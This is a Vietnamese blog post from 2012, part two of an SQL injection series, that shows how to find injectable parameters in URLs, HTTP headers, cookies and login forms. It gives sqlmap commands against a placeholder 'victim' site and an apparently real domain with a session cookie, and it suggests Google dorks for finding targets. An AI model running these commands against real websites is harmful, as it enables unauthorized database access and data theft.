SQL Injection Attack part.2

PHẦN 2: NƠI MÀ BẠN QUYẾT ĐỊNH ĐỂ XÂM NHẬP LÀ…?

10 điều “cần” và “phải” biết đã đề cập trong phần 1:

Identifying injectable parameters – Performing database finger-printing – Determining database – Extracting data – Adding or modifying data – Performing denial of service – Evading detection – Bypassing authentication – Executing remote – Performing privilege escalation

https://securityforall.wordpress.com/2012/07/19/sql-injection-la-gi/ (Phần 1)

Trong phần 2 này, mình sẽ chỉ tập trung vào việc Identifying injectable parameters” (nghĩa là: Xác định tham số có thể chèn SQL Injection) từ cơ bản đến hơi hơi nâng cao.

1.URL

2. HTTP Header

3. Cookie

4. Forms (HTTP body)

1.URL

http://victim.com.vn/index.php?option=com_content&view=category&layout=blog&id=12

Phân tích: Đây là website có CMS là Joomla (chúng ta sẽ ưu tiên những tham số có giá trị dạng number, ở đây ta có id=12)

http://victim.com.vn/index.php

?option=com_content <———- có thể ở đây bị lỗ hổng chăng?

&view=category <———- có thể ở đây bị lỗ hổng chăng?

&layout=blog <———- có thể ở đây bị lỗ hổng chăng?

&id=12 <———- có thể ở đây bị lỗ hổng chăng?

Sau khi mình thêm ký tự ‘ vào sau id=12 thì xuất hiện:

Warning: Invalid argument supplied for yyy() in /var/www/xxxxxxxxxxxxx/galery.php on line 22

Dòng chữ có màu này là thông tin đã bị thay đổi để bảo đảm an toàn cho server :D

Vậy ta chắc chắc một điều rằng: parameter id là nơi có thể chèn lệnh SQL vào. Nếu bạn không chuyên nghiệp hay mù tịt về  SQL Query thì dùng SQLMAP nào.

(Mánh: các parameter thường thấy trong việc khai thác là id cid gid videoid viewid v.v… (vì những tham số này sẽ là các truy vấn vào database) hoặc các bạn google với keyword : dork sql injection)

sqlmap.py -u “http://victim.com.vn/index.php?option=com_content&view=category&layout=blog&id=12″ -p id -v 3 –dbs

-p id | là chỉ rõ ra paremeter có thể tấn công

-v 3 | hiện thông tin truy vấn ra màn hình

–dbs | dò tìm những database trên server

Khi khai thác thành công, kết quả có dạng như hình sau

2.HTTP Header

Ở phần này, chúng ta sẽ cần đi sâu hơn vào giao thức HTTP. Để thấy những thông tin mình sắp giới thiệu bên dưới, Các bạn nên dùng Wireshark để bắt gói tin.

GET / HTTP/1.1
Connection: Keep-Alive
Keep-Alive: 300
Accept:*/*
Host: http://www.minhtamnw.com
X_FORWARDED_FOR :111.222.333.444 <——— Có thể chèn SQL Injection ở đây
Referer: http://www.minhtamnw.com/index.php <——— Có thể chèn SQL Injection ở đây
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;  rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16 ( .NET CLR 3.5.30729; .NET4.0E) <——— Có thể chèn SQL Injection ở đây
Cookie: guest_id=v1%3A1328019064; pid=v1%3A1328839311134 <——— Có thể chèn SQL Injection ở đây (chúng ta sẽ bàn luận ở phần sau)

3. Cookie

Bạn có bao giờ đăng nhập vào một website nào đó | tắt modem | mở lại modem (IP Public đã thay đổi)| Khi có mạng trở lại, bạn vẫn vào website đó mà không cần gõ user/password để đăng nhập nữa.

Chính cookie đã lưu thông tin về phiên làm việc của bạn tại máy tính cá nhân.| Đây là một trong các ứng dụng của cookie trong giao thức HTTP. Trong bài viết này, tôi không bàn nhiều về cookie là gì, mà chúng ta sẽ chuyển qua giai đoạn khai thác.

sqlmap.py -u “http://quantrimang.com.vn” –cookie=ASP.NET_SessionId=gxrxx4ejl202n2viyvebbx45 p ASP.NET_SessionId –level 3 -v 4

Ngoài ra, các bạn có thể dùng add-on Live HTTP headers dùng trên Firefox để carpture các header của gói tin.

4.FORMS (HTTP BODY)


Một cách dễ hiểu hơn là chúng ta sẽ chèn truy vấn vào nội dung của gói tin, ví dụ hình sau:

một trang web có thể có rất nhìu form bao gồm thấy đượckhông thấy được và chúng ta sẽ chèn những truy vấn vào những ô này.

một vài thông tin: giao thức HTTP khi gởi dữ liệu từ phía client lên server sẽ dùng phương thức POST. Vì vậy trước khi tấn công loại này, chúng ta cần biết một trang web sẽ gởi đi những gì sau khi chúng ta nhấn nút “Đăng nhập”. Chúng ta vẫn sẽ dùng Live HTTP headers để phân tích

Với dạng này, ta sẽ dùng sqlmap khai thác như sau:

sqlmap.py -u “http://www.victim.com.vn/index.php” –data “user_id=injectionhere&password=injectionhere&button=%C4%90%C4%83ng+nh%E1%BA%ADp” -p user_id,password –level 3 -v 3 –dbs

tham số –data “dữ liệu vào” : tại đây chúng ta chỉ định dữ liệu và phụ thuộc vào tên của form, ví dụ ta có form user_id và password thì cả 2 phải được điền vào như là một gói tin đầy đủ,(tránh bị server reject do không đủ dữ liệu)

-p user_id,password : tiến hành kiểm tra trên 2 tham số chỉ định

~~~~~~~~~~~~~~~~~~~~~~~

còn tiếp…

Nguồn: minhtamnw

About securityforall

it, smile, share for people,...

Posted on July 19, 2012, in Hack SQL Injection. Bookmark the permalink. Leave a comment.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google+ photo

You are commenting using your Google+ account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

%d bloggers like this: